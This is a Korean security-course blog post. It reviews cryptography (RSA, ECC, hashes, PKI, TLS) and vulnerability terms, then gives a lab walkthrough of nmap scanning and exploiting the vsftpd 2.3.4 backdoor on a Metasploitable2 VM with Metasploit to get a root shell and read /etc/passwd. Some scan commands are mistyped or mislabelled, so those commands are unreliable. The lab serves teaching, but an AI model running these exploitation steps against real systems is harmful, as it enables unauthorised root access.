본문 바로가기

Rookies 9기/시스템 네트워크보안

시스템/네트워크 보안 4일차

728x90

복습 

암호화를 하는 이유

- 기밀성(Confidentiality) : 내용이 노출되지 않도록 하는 것

- 무결성(Integrity) : 내용이 변조되지 않도록 하는 것

- 인증(Authentication) : 올바른 사용자임을 증명하는 것

- 부인 봉쇄 : 아니라고 하지 못하게 하는 것

 

• 대칭키(Symmetric Key)

- 암호화키와 복호화 키가 서로 대칭을 이룬다 -> 사실상 하나의 키

- Feistel 구조 : Lucifer, DES, 3 DES 등

- SPN구조(치환과 전치의 반복) : AES(Rijndael, 리인델)

- 대칭키의 문제점 : 키 전달의 문제, 키 개수의 문제

 

• 공개키 방식

- 개인키(Private)와 공개키(Public Key) 한쌍으로 이루어져 있다

- 개인키는 자기 혼자만 보유, 공개키는 누구에게나 제공해도 된다.

- 개인키로 공개키를 연산해 내는 것은 쉬운데, 공개키로 개인키를 알아내는 것은 불가능

1) Diffie-Hellman

- 대칭키 교환 문제를 해결 : 서로 공개키를 교환하고, 자신의 개인키와 연산해서 대칭키(세션 키)를 생성한다.

- 이산대수의 어려움에 근거 : 한쪽 방향으로 계산하기 쉬움(검증), 반대 방향으로는 계산하기 어려움

2) RSA (Rivest, Shamir, Adleman)

- 기밀설 :수신자의 공개키로 암호화해서 보낸다

- 인증 : 송신자의 개인키로 암호화해서 보낸다.

- 소인수분해의 어려움

‣ RSA의 특징

BOSS(개인키, 공개키)                 Killer(개인키, 공개키)

» 기밀성 방식

"Ninja를 죽여라"라는 메시지를 Killer만 보게 하려먼? Killer의 공개키로 암호화해서 보냄 

--> Killer는 자신의 개인키로 복호화를 함(Killer만 볼 수 있다) => 비밀리에 Killer만 보았지만, BOSS가 보냈다는 확신이 없다

» 인증 방식

"Ninja를 죽여라" 라는 메시지를 BOSS의 개인키로 암호화를 해서 보냄

--> 분명히 BOSS가 보낸 게 맞음(Boss의 공개키로 복호화되기 때문에 Boss의 개인키로 암호화했다는 증거임)

--> Ninja도 Boss의 공개키를 가지고 있기 때문에 복호화가 가능해서 모든 것을 알고 있다.

 

3) ECC(Elliptic Curve Cryotigraphy, 타원곡선 암호화)

- 이산대수의 어려움에 근거하는 방식

- 짧은 키 길이로 강력한 암호화를 제공함(키가 길수록 연산량이 많아짐 --> CPU/Memory/Power소모량 증가)

- Mobile환경에 적합 --> 인스타그램, 유튜브, 페이스북

 

• Hash function

1) 고정길이 출력 : 원문의 길이와 관계없이 고정길이로 출력

2) 일방향 함수 : 원문으로 해시값을 계산하는 것은 매우 쉽지만, 해시값으로 원문을 알아내는 것은 거의 불가능

3) 충돌 방지 : 해시값이 같은 원문은 거의 존재하지 않음

‣ 취약한 해시함수 : MD5, SHA-1 --> 더 이상 사용하면 안 됨 (충돌쌍을 막 찾고 그럼)

‣ 안전한 해시함수 : SHA-256 이상을 사용해야 한다.

 

• 전자서명

- 생성 : 원문의 해시값에 송신자의 개인키로 암호화(서명)해서 원문에 붙여서 보낸다.

- 검증 : 서명된 해시값을 송신자의 공개키로 복호화해서 원문의 해시값과 비교해본다 ---> 일치하면 무결성 증명, 일치하지 않으면 변조

 

• 인증서(Cersificate)

- 생성 : 공개키의 해시값에 인증기간의 개인키로 암호화(서명)

- 검증 : 서명된 해시값을 인증기관의 공개키로 복호화해서 공개키의 해시값과 비교해본다.

 

• PKI
- 최상위 인증기관 : Root CA --> 인증기관을 관리

- 인증기관(CA) : 인증서를 발급하는 곳

- 등록기관(RA) : 인증서를 신청한 조직(회사, 기관 등)을 검증하고 접수를 받는다.

 

SSL/TLS

- 웹에서 암호화 통신을 하기 위해 사용하는 프로토콜

- 대칭키, 공개키, 해시함수도 사용 --> Web Browser와 Web Server가 어떤 암호화 방식을 사용할 건지 협의 (우선순위가 있음)

- 핵심 원리

 웹서버가 자신의 공개키를 인증서 형식으로 제공

웹브라우저는 세션 키를 생성해서 웹서버의 공개키로 암호화해서 웹서버에게 보냄 -> 웹서버는 자신의 개인키로 복호화(세션 키 나옴)  웹브라우저와 웹 서버는 데이터를 보낼 때 세션 키로 암호화해서 보냄 -> 상대방에게 받은 암호문은 세션키로 복호화를 함

 

오늘 배운 내용

• SSL/TLS

SSL/TLS

개별 메시지 대신에 통신 채널을 보호하고 데이터 암호화, 서버 인증, 메시지 무결성을 제공한다.

 

초록색으로 된 주소창은 인증서가 사이트 주소와 일치할 때 나타나는 서비스이면서 피싱, 파밍을 방지하기 위해 주소창에서 제공해주는 서비스이다.

.

※ 피싱 : 개인정보와 낚시의 합성어로써 위장된 사이트에 접속을 유도하는 수법이다.

※ 파밍 : 피싱 기법 중 하나로 사용자가 웹 브라우저에서 정확한 웹 페이지 주소를 입력해도 가짜 웹 페이지에 접속하게 하여 개인정보를 훔치는 것을 말한다.

 

참고) OpenSSL을 이용해서 자가 인증서 생성하기

https://wnw1005.tistory.com/457

 

[Ubuntu 20.04 - Apache2 서버]자체서명 SSL/TLS 인증서를 이용한 https:// 프로토콜 연결 구축

[관련 게시물] 2020/11/10 - [서버 운영/APM 서버 구축] - [Ubuntu 20.04 - Apache2 서버] 가상호스트(VirtualHost) 설정 2020/11/12 - [서버 운영/APM 서버 구축] - [Ubuntu 20.04 - Apache2 서버]자체서명 SSL/T..

wnw1005.tistory.com

 

전자 봉투

전자봉투 동작원리

- 생성 : 원문의 해시값에 송신자의 개인키로 서명하고 원문 및 송신자의 공개키까지 첨부해서 세션 키로 암호화, 새션키는 수신자의 공개키로 암호화해서 첨부한다.

-특징 : 기밀성, 무결성, 송신자에 대한 인증 및 부인 봉쇄까지 모두 가능하다.

 

•최근의 이슈
AES의 키 길이의 문제 : 컴퓨터의 발전으로 크래킹 시간이 줄어들고 있다 -> AES 128bit 안정성에 문제
- RSA 2048bit 이상을 사용해야한다. -> 문제점 : 키를 계속 늘릴 수는 없기 때문에 ECC를 사용

•랜섬웨어들이 대부분 RSA2048bit를 사용해서 암호화를 한다.

--> 랜섬웨어 실행파일에 무엇이 들어있을까요? => 공격자의 공개키가 들어있어서 파일을 공개키로 암호화함
--> 암호화했던 공개키에 대한 개인키를 돈받고 주겠다는 것!
--> 대응 방법 : 오프라인 백업(외장하드), 온라인 백업(클라우드에 업로드)
» 랜섬웨어가 대칭키로 암호화를 하면?
- 악성코드 실행 파일 안에 대칭키가 있을 것임 --> 그 키만 찾으면 복호화가 가능함

•가상화폐는 주로 해시의 원리를 이용 ex)SHA-256bit
- 앞 블록에 대한 해시값을 다음 블록의 헤더에 포함시킴 -> Chain
- 중간 블럭을 바꿀 수 없음(내용을 바꿀수 없음) -> 무결성 검증
- 기밀성은 제공하기 어려움 : 블럭안에 거래내역이 모두 들어있음 -> 채굴기 설치하면 모든 블럭의 내용을 다 볼 수 있음

 

Exploit

• 취약점

1) Weakness(약점) : 자산이 가진 일반적 약점인가 아니면 심각한 문제 소지가 있는 취약점인가?

2) Vulnerability (취약점) : 약점 중에서 심각한 문제를 일으킬 소지가 있는가?

3) Exploit (취약점 공격) : 취약점을 파고들 수 있는 공격이 가능한가?

 

• ASSET (자산)

- 유형 자산 : 컴퓨터, 회사 건물, 인력, 고객 등

- 무형 자산 : 브랜드 이미지, 데이터, 저작권 등

- 자산에는 약점이 존재  => 현금, 보석, 무기명 채권 등의 약점은 도난 및 분실 등

 

• 취약점은 특정 버전에만 존재하는 것

- 취약점이 존재하면 패치를 적용하면 해결됨 --> 버전이 달라짐

- 취약점 분석은 어떤 버전인지만 알면 됨 + 그 버전에서 가지고 있는 취약점이 무엇인지

  ‣ 어떤 버그인지 확인(진단 가능) : SW로 해결

  ‣ 그 버전에서 가지고 있는 취약점이 무엇인지 (지식) : 클라우드에서 해결 가능, 검색(모르면 구글)

Quiz) 패치가 나올때까지 걸리는 평균 기간 (기준: 미국, 2018년 기준)은?
1) 일주일
2) 한달
3) 두달
4) 6개월
------>  25일....   45~60일
 
Quiz) 해킹을 당하고 그 사실을 인지하는데 걸리는 기간은?
1) 일주일 이내
2) 한달 이내
3) 3개월 이내
4) 6개월 이내
5) 6개월 이상

 

• Zeroday Exploit

- 패치가 배포되기 전에, Exploit code를 먼저 만들어서 공격하는 사례

- 무방비 상태에서 공격 가능, 대응방법이 없는 상태

- 알려지지 않은 취약점이라는 의미 --> DarkWeb에서 거래가 되기도 함

 

• Oneday Exploit

- 알려진 취약점, 패치가 배포되었지만 아직 설치하지 않은 상태(의존성 문제로 동적애 영향이 있을까 봐 우려되어서)

- 패치를 설치하지 않은 시스템만 골라서 공격 가능함

- 알려진 취약점 ---> 공격 방법도 유튜브, 블로그에 나와있음

 

• 약점 공식 번호

- CWE-nnnn (Common Weakness Enumeration) : 보편적인 약점 목록화

- CWE - Common Weakness Enumeration (mitre.org)  (약점 관리 공식 기관) The CWE Top 25

 

CWE - Common Weakness Enumeration

CWE™ is a community-developed list of software and hardware weakness types. It serves as a common language, a measuring stick for security tools, and as a baseline for weakness identification, mitigation, and prevention efforts. 2022 CWE Top 25 Most Dang

cwe.mitre.org

 

 

• 취약점 공식 번호

- CVE-YYYY-NNNNnnn(NNNN(4자리부터) ~ NNNNnnn(7자리까지) 번호를 부여함)

- CVE는 일반적인 취약점 및 노출이라고 한다. CVE 시스템은 보안 취약점, 위험 노출과 같은 공개적으로 잘 알려진 정보에 대한 참조 및 방법을 제공한다.

- Home | CVE  취약점을 관리하는 공식 기관

 

cve-website

 

www.cve.org

취약점 사례 분석) 프린트 나이트메어 취약점
https://www.boannews.com/media/view.asp?idx=98833
"프린트나이트메어 취약점은 CVE-2021-1675 아니고 제로데이"
----> 패치로 해결되지 않았기 때문이다.
Quiz) MS 직원 중에 Tester의 비율은?
1) 10%
2) 30%
3) 50%

 

• Metasploitable2

- 각종 취약한 버전을 골라서 설치한 Victim용 실습 이미지 ---> exploit 가능

- Rapid7이라는 회사에서 Metasploit(공격도구)를 팔고 있는데, 테스트해보기 위해서 metasploitable2를 만듦

실행화면

•metasploitable2 설치 방법
구글에 접속한다.
검색창에 metasploitable2 를 검색하고 2번째 검색 결과 클릭
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
metasploitable-linux-2.0.0.zip 파일 클릭해서 다운로드
metasploitable-linux-2.0.0.zip 압축을 푼다.

 

Exploit한 후 계정 크래킹 해보기

1) 설치 준비 하기

계정 만들기

위 같은 방법으로 계정을 3개 만들어 준다. (계정을 만든 이유 : Exploit를 한 후에 계정을 크래킹 할 예정이다)

$ sudo  adduser  ive                              //  adduser를 사용하면 마법사를 이용해서 PW, 전화번호 등등 물어봄, 홈디렉터리 만듦.
    PW : after

$ sudo  adduser  aespa
    PW : illusion

$ sudo  adduser  nct
    PW : intheair

계정 만들기

adduser 방법이 아닌 다른 방법으로 계정을 만들어 본다.

$ sudo  useradd  astro                           // 계정만 만듦, 홈디렉터리를 만들지 않음 -----> FTP를 사용할 수 없음
$ sudo  passwd   astro
    PW : candy

2) 사용할 툴 

• Metasploit

- HD Moore가 Perl Script로 만든 취약점 공격 도구 (Error가 많음)

- Rapid7이라는 보안 전문회사에 Metasploit를 매각 (무료로 배포 버전 : Framework,  유료로 판매하는 버전 : Pro)

 

metasploit framework 실헹 방법

Exploitation Tools에 있는 metasploit framework 툴을 사용할 것이다.

 

※ metasploit framework(메타스플로이트 프레임워크)는 버퍼 오버플로우, 패스워드 취약점, 웹 응용 취약점, 데이터베이스, 와이파이 취약점 등에 대한 약 300개 이상의 공격 모듈을 가지고 있는 오픈 소스 도구이다.

exploits : 취약점을 이용하여 프레임워크가 임의의 코드를 실행할 수 있게 동작

payload : 익스플로잇이 성공한 후에 타깃 머신에 실행할 코드

인코더 : 인코딩하는 모듈로 플랫폼에 따른 다양한 인코딩 방식을 지원

Nop : 실제로 레지스터 상태나 프로세서 플래그에 영향을 미치지 않으면서 실행을 계속하는 인스트럭션을 생성

auxiliary : exploit으로 분류하기 애매한 모듈

 

• 실습

Attack  Victim
Kali : 192.168.5.129 metasploitable2 : 192.168.5.131

 

1) namp을 이용해 Target host를 스캐닝

nmap -sn 192.168.5.129-140

타깃 주소를 찾기 위해 nmap를 사용해 켜져 있는 시스템을 확인한다. (IP 스캔해준다.)

 

2) 열린 Port 확인(Port Scan)

타깃 주소를 찾은 후 열려 있는 포트가 있는지 확인을 해준다.

다음 여러 가지 방법으로 Port Scan를 해줄 수 있다.

‣ TCP Scan

 

namp -sT 192.168.5.131

3 Way Handshaking을 완성하는 스캐닝 -> 로그가 남기 때문에 공격자는 잘하지 않는 스캐닝이다.

 

‣ SYN Scan

 

namp -sC 192.168.5.131

3Way Hangshaking을 완성하지 않는 스캐닝(SYN만 보내고 ACK를 보내지 않는 기법)

 

‣ UDP Scan

실행 중인 UDP 서비스를 확인하는 스캐닝

( 시간이 너무 오래 걸린다...)

 

‣ OS Scan

namp -O 192.168.5.131

운영체제의 종류를 파악하기 위한 스캐닝

 

‣ 엉터리 스캔(Stealth Scan)

- TCP/IP의 논리에 맞지 않는 스캐닝 기법

- 열린 포트는 응답하지 않고 닫힌 포트는 RST를 보낸다.(열린 포트와 닫힌 포트 구분이 가능하다)

- X-mas, FIN, Null 세 가지 스캔 방식이 있다.

  » X-mas Scan

     - 크리스마스에는 창고에 있던 전구를 꺼내서 켬

     - TCP Flag를 모두 1로 만들어서 보내는 스캔이고 nmap에서는 FIN/URG/PSH만 활성화한다.

     - nmap -sX 192.168.5.131 

  » FIN Scan

     - TCP Flag를 모두 0으로 만들어서 보내는 스캔

     - nmap -sN 192.168.5.131

  » Version Scan

nmap -sV 192.168.5.131

버전을 알면 취약점도 알 수 있다.

 

‣ All Scan

nmap -A 192.168.5.131  -T4

- Script scan + OS scan + Tracerouter + Version scan이다. 

- T4 옵션은 Timing이라고 하면서 0~6까지 숫자를 사용한다. 클수록 속도가 빠르다.

 

3) 취약점 찾기

nmap -A 192.168.5.131  -T4

21번 포트에서 FTP 서비스가 실행을 하고 있다는 걸 확인할 수 있다.

vsftp 2.3.4 버전은 Backdoor Command가 실행되는 취약점을 가지고 있다. (구글 검색)

 

4) 스크립트로 확인

nmap  --script=ftp-vsftpd-backdoor.nse  192.168.5.131  -p 21

vsftpd2.3.4 버전에 공격이 가능한지 확인하는 nmap 명령어이다.

find  .  -name "*vsftp*"

nmap에 vsftpd 스크립트가 있는지 확인하는 방법이다.

 

5) Metasploit으로 공격

search vsftpd

취약점 모듈을 검색한다.

vsftpd_234_backdoor라는 모듈이 있다.

use  exploit/unix/ftp/vsftpd_234_backdoor

찾은 모듈을 사용한다.

set rhosts 192.168.5.131

모듈을 실행하기 위해서는 타깃 IP주소를 지정을 해야 한다.

• LHOST/LPORT
- 공격자의 정보
- 공격 대상과 연결이 맺어일 때 공격자 호스트 IP 주소와 Port
- 보통 리버스 쉘에서 사용

• RHOST/RPORT
- 공격 대상의 IP 주소와 Port

 

exploit

공격을 시작하면 세션이 연결되었다는 걸 볼 수 있다.

 

연결 확인

ip addr 명령어를 통해 Taeget IP주소에 접속이 되었고, root 권한을 받았다.

cat /etc/passwd

우리가 만든 계정을 확인해 볼수 있다.

 

Attack

공격자 PC에서 파일을 만들면 피해자 PC한테도 파일이 만들어지는지 확인을 해보자.

Vitctim

피해자 PC에서도 파일이 만들어진 걸 확인할 수 있다.

 

6) 결과

vsftp의 2.3.4 버전에 Backdoor 명령이 실행되는 취약점이 존재하기 때문에 Exploit 공격이 가능했고, Shell을 실행할 수 있는 권한(root 권한으로)도 얻을 수 있었다.